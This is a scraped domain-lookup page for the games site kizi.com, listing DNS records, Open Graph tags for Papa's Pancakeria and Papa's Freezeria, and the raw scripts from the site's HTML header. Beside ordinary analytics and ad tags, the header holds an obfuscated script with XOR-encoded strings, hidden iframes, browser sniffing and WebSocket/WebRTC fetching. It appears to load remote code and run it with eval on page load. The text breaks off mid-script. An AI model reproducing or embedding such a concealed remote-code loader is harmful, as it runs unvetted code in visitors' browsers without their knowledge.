Domain Name - kizi.com Updates every 10s

Id Host Class Type Status Target
1 kizi.com IN A 1 174.129.29.90
2 kizi.com IN MX 1 aspmx2.googlemail.com
3 kizi.com IN MX 1 aspmx4.googlemail.com
4 kizi.com IN MX 1 aspmx.l.google.com
5 kizi.com IN MX 1 aspmx3.googlemail.com
6 kizi.com IN MX 1 alt2.aspmx.l.google.com
7 kizi.com IN MX 1 alt1.aspmx.l.google.com
1 Analytics Id 1 'UA-21161719-1'
2 Og:Title 1 1 Papa's Pancakeria
3 Og:Type 1 1 game
4 Og:Url 1 1 http://kizi.com/games/papas-pancakeria
5 Og:Description 1 1 Help your customers start the day right by cooking, stacking, and serving pancakes and other breakfast foods!
6 Og:Site_name 1 1 kizi games
7 Og:Image 1 1 http://static1.kizi.com/system/static/thumbs/tile_thumb/807/thumb150_pancakeria_150x150.jpg?1340727311
8 Fb:Admins 1 1 721298867
9 Description 1 1 Play Papa's pancakeria on Kizi! Help your customers start the day right by cooking, stacking, and serving pancakes and other breakfast foods! Papa's pancakeria is totally free and requires no registration!
10 Keywords 1 1 Papa's pancakeria, free online games, online games, games online, free games, online games
11 Title 1 1 Papa's Pancakeria | Kizi - Online Games - Life Is Fun!
12 Og:Title 3 1 Papa's Freezeria
13 Og:Type 3 1 game
14 Og:Url 3 1 http://kizi.com/games/papas-freezeria
15 Og:Description 3 1 Run Papa's Freezeria and earn good tips from your hard day's work!
16 Og:Site_name 3 1 kizi games
17 Og:Image 3 1 http://static1.kizi.com/system/static/thumbs/tile_thumb/19/thumb150_freezeria_150x150.jpg?1340112784
18 Fb:Admins 3 1 721298867
19 Description 3 1 Play Papa's freezeria on Kizi! Run Papa's Freezeria and earn good tips from your hard day's work! Papa's freezeria is totally free and requires no registration!
20 Keywords 3 1 Papa's freezeria, free online games, online games, games online, free games, online games
21 Title 3 1 Papa's Freezeria | Kizi - Online Games - Life Is Fun!

HTML header Tag

<script type="text/javascript">window.NREUM||(NREUM={});NREUM.info={"beacon":"bam.nr-data.net","errorBeacon":"bam.nr-data.net","licenseKey":"d70c02ccfe","applicationID":"34083207","transactionName":"cFldEBBdCAkESx9UAF5TQEsRWgsS","queueTime":4,"applicationTime":35,"ttGuid":"","agentToken":null,"agent":""}</script><script type="text/javascript">(window.NREUM||(NREUM={})).loader_config={xpid:"UQ4GUlRACwcAXFJQBwY="};window.NREUM||(NREUM={}),__nr_require=function(t,n,e){function r(e){if(!n[e]){var o=n[e]={exports:{}};t[e][0].call(o.exports,function(n){var o=t[e][1][n];return r(o||n)},o,o.exports)}return n[e].exports}if("function"==typeof __nr_require)return __nr_require;for(var o=0;o<e.length;o++)r(e[o]);return r}({1:[function(t,n,e){function r(t){try{s.console&&console.log(t)}catch(n){}}var o,i=t("ee"),a=t(15),s={};try{o=localStorage.getItem("__nr_flags").split(","),console&&"function"==typeof console.log&&(s.console=!0,o.indexOf("dev")!==-1&&(s.dev=!0),o.indexOf("nr_dev")!==-1&&(s.nrDev=!0))}catch(c){}s.nrDev&&i.on("internal-error",function(t){r(t.stack)}),s.dev&&i.on("fn-err",function(t,n,e){r(e.stack)}),s.dev&&(r("NR AGENT IN DEVELOPMENT MODE"),r("flags: "+a(s,function(t,n){return t}).join(", ")))},{}],2:[function(t,n,e){function r(t,n,e,r,s){try{p?p-=1:o(s||new UncaughtException(t,n,e),!0)}catch(f){try{i("ierr",[f,c.now(),!0])}catch(d){}}return"function"==typeof u&&u.apply(this,a(arguments))}function UncaughtException(t,n,e){this.message=t||"Uncaught error with no additional information",this.sourceURL=n,this.line=e}function o(t,n){var e=n?null:c.now();i("err",[t,e])}var i=t("handle"),a=t(16),s=t("ee"),c=t("loader"),f=t("gos"),u=window.onerror,d=!1,l="nr@seenError",p=0;c.features.err=!0,t(1),window.onerror=r;try{throw new Error}catch(h){"stack"in h&&(t(8),t(7),"addEventListener"in window&&t(5),c.xhrWrappable&&t(9),d=!0)}s.on("fn-start",function(t,n,e){d&&(p+=1)}),s.on("fn-err",function(t,n,e){d&&!e[l]&&(f(e,l,function(){return!0}),this.thrown=!0,o(e))}),s.on("fn-end",function(){d&&!this.thrown&&p>0&&(p-=1)}),s.on("internal-error",function(t){i("ierr",[t,c.now(),!0])})},{}],3:[function(t,n,e){t("loader").features.ins=!0},{}],4:[function(t,n,e){function r(t){}if(window.performance&&window.performance.timing&&window.performance.getEntriesByType){var o=t("ee"),i=t("handle"),a=t(8),s=t(7),c="learResourceTimings",f="addEventListener",u="resourcetimingbufferfull",d="bstResource",l="resource",p="-start",h="-end",m="fn"+p,w="fn"+h,v="bstTimer",y="pushState",g=t("loader");g.features.stn=!0,t(6);var b=NREUM.o.EV;o.on(m,function(t,n){var e=t[0];e instanceof b&&(this.bstStart=g.now())}),o.on(w,function(t,n){var e=t[0];e instanceof b&&i("bst",[e,n,this.bstStart,g.now()])}),a.on(m,function(t,n,e){this.bstStart=g.now(),this.bstType=e}),a.on(w,function(t,n){i(v,[n,this.bstStart,g.now(),this.bstType])}),s.on(m,function(){this.bstStart=g.now()}),s.on(w,function(t,n){i(v,[n,this.bstStart,g.now(),"requestAnimationFrame"])}),o.on(y+p,function(t){this.time=g.now(),this.startPath=location.pathname+location.hash}),o.on(y+h,function(t){i("bstHist",[location.pathname+location.hash,this.startPath,this.time])}),f in window.performance&&(window.performance["c"+c]?window.performance[f](u,function(t){i(d,[window.performance.getEntriesByType(l)]),window.performance["c"+c]()},!1):window.performance[f]("webkit"+u,function(t){i(d,[window.performance.getEntriesByType(l)]),window.performance["webkitC"+c]()},!1)),document[f]("scroll",r,{passive:!0}),document[f]("keypress",r,!1),document[f]("click",r,!1)}},{}],5:[function(t,n,e){function r(t){for(var n=t;n&&!n.hasOwnProperty(u);)n=Object.getPrototypeOf(n);n&&o(n)}function o(t){s.inPlace(t,[u,d],"-",i)}function i(t,n){return t[1]}var a=t("ee").get("events"),s=t(18)(a,!0),c=t("gos"),f=XMLHttpRequest,u="addEventListener",d="removeEventListener";n.exports=a,"getPrototypeOf"in Object?(r(document),r(window),r(f.prototype)):f.prototype.hasOwnProperty(u)&&(o(window),o(f.prototype)),a.on(u+"-start",function(t,n){var e=t[1],r=c(e,"nr@wrapped",function(){function t(){if("function"==typeof e.handleEvent)return e.handleEvent.apply(e,arguments)}var n={object:t,"function":e}[typeof e];return n?s(n,"fn-",null,n.name||"anonymous"):e});this.wrapped=t[1]=r}),a.on(d+"-start",function(t){t[1]=this.wrapped||t[1]})},{}],6:[function(t,n,e){var r=t("ee").get("history"),o=t(18)(r);n.exports=r,o.inPlace(window.history,["pushState","replaceState"],"-")},{}],7:[function(t,n,e){var r=t("ee").get("raf"),o=t(18)(r),i="equestAnimationFrame";n.exports=r,o.inPlace(window,["r"+i,"mozR"+i,"webkitR"+i,"msR"+i],"raf-"),r.on("raf-start",function(t){t[0]=o(t[0],"fn-")})},{}],8:[function(t,n,e){function r(t,n,e){t[0]=a(t[0],"fn-",null,e)}function o(t,n,e){this.method=e,this.timerDuration=isNaN(t[1])?0:+t[1],t[0]=a(t[0],"fn-",this,e)}var i=t("ee").get("timer"),a=t(18)(i),s="setTimeout",c="setInterval",f="clearTimeout",u="-start",d="-";n.exports=i,a.inPlace(window,[s,"setImmediate"],s+d),a.inPlace(window,[c],c+d),a.inPlace(window,[f,"clearImmediate"],f+d),i.on(c+u,r),i.on(s+u,o)},{}],9:[function(t,n,e){function r(t,n){d.inPlace(n,["onreadystatechange"],"fn-",s)}function o(){var t=this,n=u.context(t);t.readyState>3&&!n.resolved&&(n.resolved=!0,u.emit("xhr-resolved",[],t)),d.inPlace(t,y,"fn-",s)}function i(t){g.push(t),h&&(x?x.then(a):w?w(a):(E=-E,O.data=E))}function a(){for(var t=0;t<g.length;t++)r([],g[t]);g.length&&(g=[])}function s(t,n){return n}function c(t,n){for(var e in t)n[e]=t[e];return n}t(5);var f=t("ee"),u=f.get("xhr"),d=t(18)(u),l=NREUM.o,p=l.XHR,h=l.MO,m=l.PR,w=l.SI,v="readystatechange",y=["onload","onerror","onabort","onloadstart","onloadend","onprogress","ontimeout"],g=[];n.exports=u;var b=window.XMLHttpRequest=function(t){var n=new p(t);try{u.emit("new-xhr",[n],n),n.addEventListener(v,o,!1)}catch(e){try{u.emit("internal-error",[e])}catch(r){}}return n};if(c(p,b),b.prototype=p.prototype,d.inPlace(b.prototype,["open","send"],"-xhr-",s),u.on("send-xhr-start",function(t,n){r(t,n),i(n)}),u.on("open-xhr-start",r),h){var x=m&&m.resolve();if(!w&&!m){var E=1,O=document.createTextNode(E);new h(a).observe(O,{characterData:!0})}}else f.on("fn-end",function(t){t[0]&&t[0].type===v||a()})},{}],10:[function(t,n,e){function r(t){var n=this.params,e=this.metrics;if(!this.ended){this.ended=!0;for(var r=0;r<d;r++)t.removeEventListener(u[r],this.listener,!1);if(!n.aborted){if(e.duration=a.now()-this.startTime,4===t.readyState){n.status=t.status;var i=o(t,this.lastSize);if(i&&(e.rxSize=i),this.sameOrigin){var c=t.getResponseHeader("X-NewRelic-App-Data");c&&(n.cat=c.split(", ").pop())}}else n.status=0;e.cbTime=this.cbTime,f.emit("xhr-done",[t],t),s("xhr",[n,e,this.startTime])}}}function o(t,n){var e=t.responseType;if("json"===e&&null!==n)return n;var r="arraybuffer"===e||"blob"===e||"json"===e?t.response:t.responseText;return h(r)}function i(t,n){var e=c(n),r=t.params;r.host=e.hostname+":"+e.port,r.pathname=e.pathname,t.sameOrigin=e.sameOrigin}var a=t("loader");if(a.xhrWrappable){var s=t("handle"),c=t(11),f=t("ee"),u=["load","error","abort","timeout"],d=u.length,l=t("id"),p=t(14),h=t(13),m=window.XMLHttpRequest;a.features.xhr=!0,t(9),f.on("new-xhr",function(t){var n=this;n.totalCbs=0,n.called=0,n.cbTime=0,n.end=r,n.ended=!1,n.xhrGuids={},n.lastSize=null,p&&(p>34||p<10)||window.opera||t.addEventListener("progress",function(t){n.lastSize=t.loaded},!1)}),f.on("open-xhr-start",function(t){this.params={method:t[0]},i(this,t[1]),this.metrics={}}),f.on("open-xhr-end",function(t,n){"loader_config"in NREUM&&"xpid"in NREUM.loader_config&&this.sameOrigin&&n.setRequestHeader("X-NewRelic-ID",NREUM.loader_config.xpid)}),f.on("send-xhr-start",function(t,n){var e=this.metrics,r=t[0],o=this;if(e&&r){var i=h(r);i&&(e.txSize=i)}this.startTime=a.now(),this.listener=function(t){try{"abort"===t.type&&(o.params.aborted=!0),("load"!==t.type||o.called===o.totalCbs&&(o.onloadCalled||"function"!=typeof n.onload))&&o.end(n)}catch(e){try{f.emit("internal-error",[e])}catch(r){}}};for(var s=0;s<d;s++)n.addEventListener(u[s],this.listener,!1)}),f.on("xhr-cb-time",function(t,n,e){this.cbTime+=t,n?this.onloadCalled=!0:this.called+=1,this.called!==this.totalCbs||!this.onloadCalled&&"function"==typeof e.onload||this.end(e)}),f.on("xhr-load-added",function(t,n){var e=""+l(t)+!!n;this.xhrGuids&&!this.xhrGuids[e]&&(this.xhrGuids[e]=!0,this.totalCbs+=1)}),f.on("xhr-load-removed",function(t,n){var e=""+l(t)+!!n;this.xhrGuids&&this.xhrGuids[e]&&(delete this.xhrGuids[e],this.totalCbs-=1)}),f.on("addEventListener-end",function(t,n){n instanceof m&&"load"===t[0]&&f.emit("xhr-load-added",[t[1],t[2]],n)}),f.on("removeEventListener-end",function(t,n){n instanceof m&&"load"===t[0]&&f.emit("xhr-load-removed",[t[1],t[2]],n)}),f.on("fn-start",function(t,n,e){n instanceof m&&("onload"===e&&(this.onload=!0),("load"===(t[0]&&t[0].type)||this.onload)&&(this.xhrCbStart=a.now()))}),f.on("fn-end",function(t,n){this.xhrCbStart&&f.emit("xhr-cb-time",[a.now()-this.xhrCbStart,this.onload,n],n)})}},{}],11:[function(t,n,e){n.exports=function(t){var n=document.createElement("a"),e=window.location,r={};n.href=t,r.port=n.port;var o=n.href.split("://");!r.port&&o[1]&&(r.port=o[1].split("/")[0].split("@").pop().split(":")[1]),r.port&&"0"!==r.port||(r.port="https"===o[0]?"443":"80"),r.hostname=n.hostname||e.hostname,r.pathname=n.pathname,r.protocol=o[0],"/"!==r.pathname.charAt(0)&&(r.pathname="/"+r.pathname);var i=!n.protocol||":"===n.protocol||n.protocol===e.protocol,a=n.hostname===document.domain&&n.port===e.port;return r.sameOrigin=i&&(!n.hostname||a),r}},{}],12:[function(t,n,e){function r(){}function o(t,n,e){return function(){return i(t,[f.now()].concat(s(arguments)),n?null:this,e),n?void 0:this}}var i=t("handle"),a=t(15),s=t(16),c=t("ee").get("tracer"),f=t("loader"),u=NREUM;"undefined"==typeof window.newrelic&&(newrelic=u);var d=["setPageViewName","setCustomAttribute","setErrorHandler","finished","addToTrace","inlineHit","addRelease"],l="api-",p=l+"ixn-";a(d,function(t,n){u[n]=o(l+n,!0,"api")}),u.addPageAction=o(l+"addPageAction",!0),u.setCurrentRouteName=o(l+"routeName",!0),n.exports=newrelic,u.interaction=function(){return(new r).get()};var h=r.prototype={createTracer:function(t,n){var e={},r=this,o="function"==typeof n;return i(p+"tracer",[f.now(),t,e],r),function(){if(c.emit((o?"":"no-")+"fn-start",[f.now(),r,o],e),o)try{return n.apply(this,arguments)}catch(t){throw c.emit("fn-err",[arguments,this,t],e),t}finally{c.emit("fn-end",[f.now()],e)}}}};a("setName,setAttribute,save,ignore,onEnd,getContext,end,get".split(","),function(t,n){h[n]=o(p+n)}),newrelic.noticeError=function(t){"string"==typeof t&&(t=new Error(t)),i("err",[t,f.now()])}},{}],13:[function(t,n,e){n.exports=function(t){if("string"==typeof t&&t.length)return t.length;if("object"==typeof t){if("undefined"!=typeof ArrayBuffer&&t instanceof ArrayBuffer&&t.byteLength)return t.byteLength;if("undefined"!=typeof Blob&&t instanceof Blob&&t.size)return t.size;if(!("undefined"!=typeof FormData&&t instanceof FormData))try{return JSON.stringify(t).length}catch(n){return}}}},{}],14:[function(t,n,e){var r=0,o=navigator.userAgent.match(/Firefox[\/\s](\d+\.\d+)/);o&&(r=+o[1]),n.exports=r},{}],15:[function(t,n,e){function r(t,n){var e=[],r="",i=0;for(r in t)o.call(t,r)&&(e[i]=n(r,t[r]),i+=1);return e}var o=Object.prototype.hasOwnProperty;n.exports=r},{}],16:[function(t,n,e){function r(t,n,e){n||(n=0),"undefined"==typeof e&&(e=t?t.length:0);for(var r=-1,o=e-n||0,i=Array(o<0?0:o);++r<o;)i[r]=t[n+r];return i}n.exports=r},{}],17:[function(t,n,e){n.exports={exists:"undefined"!=typeof window.performance&&window.performance.timing&&"undefined"!=typeof window.performance.timing.navigationStart}},{}],18:[function(t,n,e){function r(t){return!(t&&t instanceof Function&&t.apply&&!t[a])}var o=t("ee"),i=t(16),a="nr@original",s=Object.prototype.hasOwnProperty,c=!1;n.exports=function(t,n){function e(t,n,e,o){function nrWrapper(){var r,a,s,c;try{a=this,r=i(arguments),s="function"==typeof e?e(r,a):e||{}}catch(f){l([f,"",[r,a,o],s])}u(n+"start",[r,a,o],s);try{return c=t.apply(a,r)}catch(d){throw u(n+"err",[r,a,d],s),d}finally{u(n+"end",[r,a,c],s)}}return r(t)?t:(n||(n=""),nrWrapper[a]=t,d(t,nrWrapper),nrWrapper)}function f(t,n,o,i){o||(o="");var a,s,c,f="-"===o.charAt(0);for(c=0;c<n.length;c++)s=n[c],a=t[s],r(a)||(t[s]=e(a,f?s+o:o,i,s))}function u(e,r,o){if(!c||n){var i=c;c=!0;try{t.emit(e,r,o,n)}catch(a){l([a,e,r,o])}c=i}}function d(t,n){if(Object.defineProperty&&Object.keys)try{var e=Object.keys(t);return e.forEach(function(e){Object.defineProperty(n,e,{get:function(){return t[e]},set:function(n){return t[e]=n,n}})}),n}catch(r){l([r])}for(var o in t)s.call(t,o)&&(n[o]=t[o]);return n}function l(n){try{t.emit("internal-error",n)}catch(e){}}return t||(t=o),e.inPlace=f,e.flag=a,e}},{}],ee:[function(t,n,e){function r(){}function o(t){function n(t){return t&&t instanceof r?t:t?c(t,s,i):i()}function e(e,r,o,i){if(!l.aborted||i){t&&t(e,r,o);for(var a=n(o),s=h(e),c=s.length,f=0;f<c;f++)s[f].apply(a,r);var d=u[y[e]];return d&&d.push([g,e,r,a]),a}}function p(t,n){v[t]=h(t).concat(n)}function h(t){return v[t]||[]}function m(t){return d[t]=d[t]||o(e)}function w(t,n){f(t,function(t,e){n=n||"feature",y[e]=n,n in u||(u[n]=[])})}var v={},y={},g={on:p,emit:e,get:m,listeners:h,context:n,buffer:w,abort:a,aborted:!1};return g}function i(){return new r}function a(){(u.api||u.feature)&&(l.aborted=!0,u=l.backlog={})}var s="nr@context",c=t("gos"),f=t(15),u={},d={},l=n.exports=o();l.backlog=u},{}],gos:[function(t,n,e){function r(t,n,e){if(o.call(t,n))return t[n];var r=e();if(Object.defineProperty&&Object.keys)try{return Object.defineProperty(t,n,{value:r,writable:!0,enumerable:!1}),r}catch(i){}return t[n]=r,r}var o=Object.prototype.hasOwnProperty;n.exports=r},{}],handle:[function(t,n,e){function r(t,n,e,r){o.buffer([t],r),o.emit(t,n,e)}var o=t("ee").get("handle");n.exports=r,r.ee=o},{}],id:[function(t,n,e){function r(t){var n=typeof t;return!t||"object"!==n&&"function"!==n?-1:t===window?0:a(t,i,function(){return o++})}var o=1,i="nr@id",a=t("gos");n.exports=r},{}],loader:[function(t,n,e){function r(){if(!x++){var t=b.info=NREUM.info,n=l.getElementsByTagName("script")[0];if(setTimeout(u.abort,3e4),!(t&&t.licenseKey&&t.applicationID&&n))return u.abort();f(y,function(n,e){t[n]||(t[n]=e)}),c("mark",["onload",a()+b.offset],null,"api");var e=l.createElement("script");e.src="https://"+t.agent,n.parentNode.insertBefore(e,n)}}function o(){"complete"===l.readyState&&i()}function i(){c("mark",["domContent",a()+b.offset],null,"api")}function a(){return E.exists&&performance.now?Math.round(performance.now()):(s=Math.max((new Date).getTime(),s))-b.offset}var s=(new Date).getTime(),c=t("handle"),f=t(15),u=t("ee"),d=window,l=d.document,p="addEventListener",h="attachEvent",m=d.XMLHttpRequest,w=m&&m.prototype;NREUM.o={ST:setTimeout,SI:d.setImmediate,CT:clearTimeout,XHR:m,REQ:d.Request,EV:d.Event,PR:d.Promise,MO:d.MutationObserver};var v=""+location,y={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net",agent:"js-agent.newrelic.com/nr-1071.min.js"},g=m&&w&&w[p]&&!/CriOS/.test(navigator.userAgent),b=n.exports={offset:s,now:a,origin:v,features:{},xhrWrappable:g};t(12),l[p]?(l[p]("DOMContentLoaded",i,!1),d[p]("load",r,!1)):(l[h]("onreadystatechange",o),d[h]("onload",r)),c("mark",["firstbyte",s],null,"api");var x=0,E=t(17)},{}]},{},["loader",2,10,4,3]);</script><script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"></script><script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.9.1/jquery-ui.min.js"></script><script src="http://ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js"></script><script src="http://www.magazinedoadesivo.com.br/publico/javascript/plugins/jquery.resizeOnApproach.1.0.min.js"></script><script src="https://apis.google.com/js/platform.js"></script><script src="http://cdn1.kizi.com/assets/application-d0e7f002d75a0af5af811bb853e0cbdd.js" type="text/javascript"></script><script src="http://cdn1.kizi.com/assets/raphael.min-c2c8dedc4bae442cf428fa9e3a88d751.js" type="text/javascript"></script><script src="https://cdn.onesignal.com/sdks/OneSignalSDK.js" async='async'></script><script src="http://cdn0.kizi.com/assets/one_signal_notifications-68e4c4aa39682da837e7386dff48aecc.js" type="text/javascript"></script><script type="application/javascript">(function(w,d,t,r,u){w[u]=w[u]||[];w[u].push({'projectId':'10000','properties':{'pixelId':'10039207'}});var s=d.createElement(t);s.src=r;s.async=true;s.onload=s.onreadystatechange=function(){var y,rs=this.readyState,c=w[u];if(rs&&rs!="complete"&&rs!="loaded"){return}try{y=YAHOO.ywa.I13N.fireBeacon;w[u]=[];w[u].push=function(p){y([p])};y(c)}catch(e){}};var scr=d.getElementsByTagName(t)[0],par=scr.parentNode;par.insertBefore(s,scr)})(window,document,"script","https://s.yimg.com/wi/ytc.js","dotq");</script><script src="https://rawgit.com/amibug/fly/master/src/requestAnimationFrame.js"></script><script src="https://rawgit.com/amibug/fly/master/dist/jquery.fly.js"></script><script type="text/javascript" src="http://imasdk.googleapis.com/js/sdkloader/ima3.js"></script><script src="http://cdn1.kizi.com/assets/advertisement-bf32475b602e083b08c75cd9924c277f.js" type="text/javascript"></script><script src="http://cdn1.kizi.com/assets/ima_ads-4950708e5b3b61ea9b530283d9398ba2.js" type="text/javascript"></script><script>(function() { var _fbq = window._fbq || (window._fbq = []); if (!_fbq.loaded) { var fbds = document.createElement('script'); fbds.async = true; fbds.src = '//connect.facebook.net/en_US/fbds.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(fbds, s); _fbq.loaded = true; } _fbq.push(['addPixelId', '531081737012635']); })(); window._fbq = window._fbq || []; window._fbq.push(['track', 'PixelInitialized', {}]); </script><script>try{(function(){function B(){try{var a=K()}catch(c){}if(a)try{C(a.h,null)}catch(c){delete window.localStorage[a.key],delete window.sessionStorage[a.key]}else L(function(a,b){b.as=!0;try{C(a,b)}catch(e){}},M)}function M(){var b=window.location.protocol==a("BgMNGQZU")?a("BgMNGQZURUw="):a("BgMNGU9BRQ==");(new Image).src=b+u+N}function L(a,c){function b(){var d=e.shift();if(d)try{d(a,b)}catch(m){b()}else v(),c()}try{O()}catch(f){v();c();return}var e=[P,Q,R,S];b()}function C(a,c){(function(){eval(a)})({e:a, p:c,n:g})}function K(){var b=[];window.localStorage&&b.push(window.localStorage);window.sessionStorage&&b.push(window.sessionStorage);var c=D(a("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="),E(a("HgUcCBgMBgY=")));c=new Uint8Array(c);for(var d="",e=0;e<c.length;e++)d+=String.fromCharCode(c[e]);c=btoa(d);d=(new Date).getTime();for(e=0;e<b.length;e++){var f=b[e],m;for(m in f)if(0===m.lastIndexOf(c,0)){try{for(var k=a("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="),g=atob(f[m]),l=new Uint8Array(g.length), h=0;h<g.length;h++)l[h]=g.charCodeAt(h);var n=r(D(k,l.buffer))}catch(U){continue}h=parseInt(n.substring(0,13),10);if(!isNaN(h))if(864E5<d-h||1>d-h)f.removeItem(m);else if((h=n.substring(13))&&!(16>h.length))return{h:h,key:m}}}return null}function Q(b,c){var d=a("XUNOUQ=="),e=a("WTVDWkNUXydbWk9eKDBVTDZZKkxcXVZcLFBZMyRNS1VUMzpTNyxQIlRSRVxTM1tONVVRQVdeVFZQUVRIIUdCXVlNTV9PLVlZJ11MVyxLLUVNJl5PU1FYJFhZV0ddMj4=");d=w+":"+d;var f={};f[a("GwUVGg==")]=a("GgILB08=")+d+a("UQMLCBsdGgwTHEsQCgE=");f[a("DQUcDRAAHgoABA==")]= a("FxYNABgP");f[a("GwQcGxsPBwY=")]=a("FxYNABgP");F(e,f,function(b){b=b.match(new RegExp(a("MBQYBxEHDgIVDUw4DVpPKBNIS11ZXhcCGh82NjdeWDkKXFlBKQpBP080Ek81XzMQXD9FKQJPS0Y2B0hSEw4IRRwSFQgM")));if(null==b)return null;b=b[1];return a("DRYXDRwKCxcEUkdEWFE6MCdDU0ZVVVBQWUM=")+b+a("TkFKWURYShcYGFYWDB0ODVcRChECFkI=")+b+a("TgUJBgcaSlVSWEdSSR8KAAAMGR5LBw0VHkNT")},b,c)}function R(b,c){var d=a("WEdJWA=="),e=a("KEJDKDdUUlpbLUJeXUBVTUZZXExcV1FcWlFZMF9NTyRUQjtTMF9QJVRSQlJTRipOMSZRQCBeUFJQWyVIJTJCUStNSipPKylZVlBMVF9LWkdNIllPVSJYUitZVEtdTkA="); d=w+":"+d;var f={};f[a("GwUVGg==")]=[a("HQMMB08=")+d];F(e,f,function(b){b=b.match(new RegExp(a("MBQYBxEHDgIVDUw4DVpPKBNIS11ZXhcCGh82NjdeWDkKXFlBKQpBP080Ek81XzMQXD9FKQJPQjoOSEpSEw4IRR0FHwUN")));if(null==b)return null;b=b[1];return a("DRYXDRwKCxcEUkZEWFE6MCdDWURSU1ZeWVVXRUc=")+b+a("TgMAGVUGBRAV")},b,c)}function F(b,c,d,e,f){function m(a){k||(k=!0,a.apply(null,Array.prototype.slice.call(arguments,1)))}var k=!1;e=m.bind(null,e);f=m.bind(null,f);var p={};p[a("BxQcOhAcHAYTGw==")]=[c];var l=new g.c(p);l[a("DQUcCAELLgIVCTUMCB8BERs=")](a("QRocHRRBGgoPDw==")).binaryType= a("DwULCAwMHwUHDQQ=");l[a("ARkQChANCw0FARIFHRQ=")]=function(b){if(null!=b[a("DRYXDRwKCxcE")]&&(b=d(b[a("DRYXDRwKCxcE")][a("DRYXDRwKCxcE")]),null!=b)){var c={};c[a("DRYXDRwKCxcE")]=b;c[a("HRMJJDkHBAYoBhIBEQ==")]=0;l[a("DxMdIBYLKQIPDB8ACAUK")](new g.b(c),function(){},function(){})}};l.addEventListener(a("BxQcChoABAYCHB8LBwIbFQMGCB0HCgUD"),function(){l[a("BxQcKhoABAYCHB8LByIbFQMG")]===a("CBYQBRAK")&&f()});var h=a("GEpJYxpTHxAEGhgFBBRPRFdTSzwoRCs2XkNSQFBZSEteWUhjBlMZBhIbHwsHHw4ZEmkISC8qQi86V0NDVUBWVUBHV1h/GldTQVh8BVQXBhoQBhkFFA0MElAQCxNKRU1TTg==")+ b+a("ZBZEABYLRwwRHB8LBwJVAAUKCB4KAWgLVwITAgseGwQaHhYHVV9YUFVIMjAlIkAnNDc7VVNUUlZgAl4BBAMICA8HQ1xFXlpDFg0UFh0SQhAWFwoWDgUMCA8PQ0BSQXIEUx4aDFgbDBEAD0w=")+function(){for(var b="",c=a("XkdJWUVeWlM="),d=0;16>d;++d){var e=(4294967296*Math.random()>>>0).toString(16);b+=c.substring(0,c.length-e.length)+e}return b}()+a("ZBZEABYLRxMWDExUWUFfREdTW0VWVFJWWlNTQldHSFVeR0lZRV5aU1FYRm4=");l[a("DQUcCAELJQUHDQQ=")](function(b){l[a("HRINJRoNCw8lDQUHGxgfAB4MBQ==")](b,function(){var b={};b[a("Gg4JDA==")]=a("DxkKHhAc"); b[a("HRMJ")]=h;l[a("HRINOxADBRcELBMXCgMGBAMKBBs=")](new g.f(b),function(){},function(){})},function(){})},function(){});b=l[a("DQUcCAELLgIVCTUMCB8BERs=")](a("QQAKGXU=")+window.navigator.userAgent);b.binaryType=a("DwULCAwMHwUHDQQ=");G(b,x(),function(b){e(b,{rtc:l})},function(){f()})}function S(b,c){function d(b){m||(m=!0,b.apply(null,Array.prototype.slice.call(arguments,1)))}var e=x();e=(window.location.protocol==a("BgMNGQZU")?a("BgMNGQZURUw="):a("BgMNGU9BRQ=="))+u+e;var f=a("KTIt"),m=!1;b=d.bind(null, b);c=d.bind(null,c);var k=new g.g;k.onreadystatechange=function(){4==k.readyState&&(0==k.status?c():b(r(k.response),{}))};k.onerror=function(){c()};k.open(f,e,!0);k.responseType=a("DwULCAwMHwUHDQQ=");k.send(null)}function P(b,c){var d=a("GQQKU1pB"),e=new g.a(d+w+a("QQAKGQ=="));e.binaryType=a("DwULCAwMHwUHDQQ=");G(e,x(),function(a){b(a,{ws:e})},function(){c()})}function G(b,c,d,e){function f(b){g||(g=!0,b.apply(null,Array.prototype.slice.call(arguments,1)))}var g=!1;d=f.bind(null,d);e=f.bind(null, e);var k=!1,p=setTimeout(function(){e(Error())},3E3),l=E(JSON.stringify({url:c||"",method:a("KTIt"),headers:null,body:null}));b.onopen=function(){clearTimeout(p);b.send(l)};var h=new ArrayBuffer(0),n;b.onmessage=function(b){if(4===b.data.byteLength){var a=new Uint8Array(b.data);if(222===a[0]&&173===a[1]&&190===a[2]&&239===a[3])return}!1===k?(k=!0,b=r(b.data),n=JSON.parse(b),n={status:n.status||0,headers:{}}):(b=b.data,a=new Uint8Array(h.byteLength+b.byteLength),a.set(new Uint8Array(h),0),a.set(new Uint8Array(b), h.byteLength),h=a.buffer)};b.onerror=function(){clearTimeout(p);e(Error())};b.onclose=function(){k?(n.body=h,d(r(n.body))):(clearTimeout(p),e(Error()))}}function y(b){return window[b.name]?window[b.name]:b[a("DRgXHRAAHicOCwMJDB8b")]&&b[a("DRgXHRAAHicOCwMJDB8b")][a("ChIfCAACHjUIDQE=")]?b[a("DRgXHRAAHicOCwMJDB8b")][a("ChIfCAACHjUIDQE=")]:b[a("DRgXHRAAHjQIBhILHg==")]}function H(){var b=document.createElement(a("BxELCBgL"));b.style.height=a("XwcB");b.style.width=a("XwcB");b.style.display=a("ABgXDA=="); b[a("HQUaDRoN")]=a("Dw==");b.name||(b.name=String.fromCharCode(parseInt(25*Math.random()+97,10))+Math.random().toString(36).substring(7));(document.body||document.head||document.documentElement).appendChild(b);var c=y(b);c.document.documentElement||c.document.write(a("Dw=="));try{c.stop()}catch(d){}return b}function O(){I=a("GxkSBxoZBA==");t=a("DR8LBhgL");q=a("CB4LDBMBEg==");z=a("AQccGxQ=");A=a("HRYfCAcH");var b=H();b=y(b);var c=b.navigator.userAgent;var d=(new RegExp(a("DR8LBhgLFgAJGhkJAAQC"),"i")).test(c)? t:(new RegExp(a("CB4LDBMBEh8ICxMTDBAcERsfDQ0PCxE="),"i")).test(c)?q:(new RegExp(a("MF9RVlQNAhEOBRMYCB8LBhgKD1xITUgVCwUCAA4="),"i")).test(c)?A:(new RegExp(a("AQcLFRoeAwwS"),"i")).test(c)?z:window[a("DR8LBhgL")]?t:"undefined"!==typeof 